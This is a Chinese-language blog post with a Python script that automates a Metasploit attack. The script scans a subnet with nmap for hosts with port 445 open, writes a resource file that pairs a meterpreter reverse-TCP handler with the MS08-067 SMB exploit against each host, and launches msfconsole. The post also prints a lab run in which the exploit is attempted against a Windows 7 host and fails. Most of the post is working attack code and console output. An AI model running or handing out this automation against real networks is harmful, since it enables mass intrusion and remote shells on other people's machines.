利用Python自动化执行Metasploit

发布于 2022年 05月 19日 13:07

  本代码实现以下目标:

  1.扫描目标网络,发现活跃主机,并且识别指定端口状态为开放的主机(比如445端口)

  2.自动创建metasploit资源文件,将需要的参数写入该文件

  3.根据第一步获得到的主机,写入并生成相应的payload到上述的资源文件(主要就是RHOSTS字段的设置)

 1 import nmap
 2 import sys
 3 import optparse
 4 import os
 5 
 6 class MetasploitAutomation:
 7     def __init__(self) -> None:
 8         self.attacker_ip = self.get_params()[0]
 9         self.port = self.get_params()[1]
10         self.hosts = self.get_params()[2]
11         self.exploitable_hosts = []
12         self.rc_filename = self.get_params()[3]
13 
14     def get_params(self):
15         parser = optparse.OptionParser("Usage: <Program> -a attacker IP address -p attacker listening port -H target network -f rc filename")
16         parser.add_option('-a', '--attacker_ip', dest='attacker_ip', type='string', help='Specify attacker IP address')
17         parser.add_option('-p', '--port', dest='port', type='string', help='Specify listening port to recevie connection from target')
18         parser.add_option('-H', '--hosts', dest='hosts', type='string', help='Specify target network to exploit')
19         parser.add_option('-f','--filename', dest='filename', type='string', help='Specify filename or metasploit script to execute')
20         options, args = parser.parse_args()
21         if options.attacker_ip is None or options.port is None or options.hosts is None or options.filename is None:
22             print(parser.usage)
23             sys.exit(0)
24         return options.attacker_ip, options.port, options.hosts, options.filename
25     
26 
27     def nmap_scan(self):
28         print("[-] Start to scan which hosts are online on the network")
29         try:
30             scanner = nmap.PortScanner()
31             res = scanner.scan(hosts=self.hosts,ports='445', arguments='-sV -Pn')
32             for host in scanner.all_hosts():
33                 host_state = res['scan'][host]['status']['state']
34                 print("\t[-] The target %s is %s\n\n" % (host, host_state))
35                 if host_state == 'up':
36                     port_info_list = res['scan'][host]['tcp']
37                    
38                     for port, info in port_info_list.items():
39                         print(port_info_list[port]['state'])
40                         if port == 445 and info['state']=='open':
41                             self.exploitable_hosts.append(host) 
42 
43             return self.exploitable_hosts                     
44 
45 
46         except Exception as e:
47             print(e)
48             sys.exit(0)
49     
50     def setup_handler(self):
51         with open(self.rc_filename, 'w') as f:        
52             f.write('use exploit/multi/handler\n')
53             f.write('set payload windows/meterpreter/reverse_tcp\n')
54             f.write('set LPORT ' + str(self.port) + '\n')
55             f.write('set LHOST ' + self.attacker_ip + '\n')
56             f.write('exploit -j -z\n')
57             f.write('setg DisablePayloadHandler 1\n')
58     
59 
60     def confickerExploit(self, target_host):
61         with open(self.rc_filename, 'a') as f:
62             f.write('use exploit/windows/smb/ms08_067_netapi\n')
63             f.write('set RHOST ' + str(target_host) + '\n')
64             f.write('set payload windows/meterpreter/reverse_tcp\n')
65             f.write('set LPORT ' + str(self.port) + '\n')
66             f.write('set LHOST ' + self.attacker_ip + '\n')
67             f.write('exploit -j -z\n')
68     
69 
70     def run(self):
71         try:
72             self.setup_handler()
73             exploitable_hosts = self.nmap_scan()
74             print("\t[-] Try to exploit the hosts: \n")
75             
76             for tgt_host in exploitable_hosts:
77                 if tgt_host == self.attacker_ip:
78                     break
79                 self.confickerExploit(tgt_host)
80             
81             os.system('msfconsole -r %s' % self.rc_filename)
82         except Exception as e:
83             print(e)
84             sys.exit(0)
85 
86 
87 if __name__ == '__main__':

  下面为运行结果:

# python metasploit_automation.py -a 192.168.140.138 -p 5555 -H 192.168.140.0/24 -f jason.rc
[-] Start to scan which hosts are online on the network
        [-] The target 192.168.140.1 is up


filtered
        [-] The target 192.168.140.138 is up


closed
        [-] The target 192.168.140.139 is up


open
        [-] The target 192.168.140.2 is up


closed
        [-] The target 192.168.140.254 is up


filtered
        [-] Try to exploit the hosts:

['192.168.140.139']

                                              `:oDFo:`
                                           ./ymM0dayMmy/.
                                        -+dHJ5aGFyZGVyIQ==+-
                                    `:sm⏣~~Destroy.No.Data~~s:`
                                 -+h2~~Maintain.No.Persistence~~h+-
                             `:odNo2~~Above.All.Else.Do.No.Harm~~Ndo:`
                          ./etc/shadow.0days-Data'%20OR%201=1--.No.0MN8'/.
                       -++SecKCoin++e.AMd`       `.-://///+hbove.913.ElsMNh+-
                      -~/.ssh/id_rsa.Des-                  `htN01UserWroteMe!-
                      :dopeAW.No<nano>o                     :is:TЯiKC.sudo-.A:
                      :we're.all.alike'`                     The.PFYroy.No.D7:
                      :PLACEDRINKHERE!:                      yxp_cmdshell.Ab0:
                      :msf>exploit -j.                       :Ns.BOB&ALICEes7:
                      :---srwxrwx:-.`                        `MS146.52.No.Per:
                      :<script>.Ac816/                        sENbove3101.404:
                      :NT_AUTHORITY.Do                        `T:/shSYSTEM-.N:
                      :09.14.2011.raid                       /STFU|wall.No.Pr:
                      :hevnsntSurb025N.                      dNVRGOING2GIVUUP:
                      :#OUTHOUSE-  -s:                       /corykennedyData:
                      :$nmap -oS                              SSo.6178306Ence:
                      :Awsm.da:                            /shMTl#beats3o.No.:
                      :Ring0:                             `dDestRoyREXKC3ta/M:
                      :23d:                               sSETEC.ASTRONOMYist:
                       /-                        /yo-    .ence.N:(){ :|: & };:
                                                 `:Shall.We.Play.A.Game?tron/
                                                 ```-ooy.if1ghtf0r+ehUser5`
                                               ..th3.H1V3.U2VjRFNN.jMh+.`
                                              `MjM~~WE.ARE.se~~MMjMs
                                               +~KANSAS.CITY's~-`
                                                J~HAKCERS~./.`
                                                .esc:wq!:`
                                                 +++ATH`
                                                  `


       =[ metasploit v6.1.14-dev                          ]
+ -- --=[ 2180 exploits - 1155 auxiliary - 399 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Adapter names can be used for IP params
set LHOST eth0

[*] Processing jason.rc for ERB directives.
resource (jason.rc)> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (jason.rc)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (jason.rc)> set LPORT 5555
LPORT => 5555
resource (jason.rc)> set LHOST 192.168.140.138
LHOST => 192.168.140.138
resource (jason.rc)> exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
resource (jason.rc)> setg DisablePayloadHandler 1
DisablePayloadHandler => 1
resource (jason.rc)> use exploit/windows/smb/ms08_067_netapi
[*] Started reverse TCP handler on 192.168.140.138:5555
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
resource (jason.rc)> set RHOST 192.168.140.139
RHOST => 192.168.140.139
resource (jason.rc)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (jason.rc)> set LPORT 5555
LPORT => 5555
resource (jason.rc)> set LHOST 192.168.140.138
LHOST => 192.168.140.138
resource (jason.rc)> exploit -j -z
[*] Exploit running as background job 1.

[*] 192.168.140.139:445 - Automatically detecting the target...
msf6 exploit(windows/smb/ms08_067_netapi) > [*] 192.168.140.139:445 - Fingerprint: Windows 7 - Service Pack 1 - lang:Unknown
[*] 192.168.140.139:445 - We could not detect the language pack, defaulting to English
[-] 192.168.140.139:445 - Exploit aborted due to failure: no-target: No matching target

 

推荐文章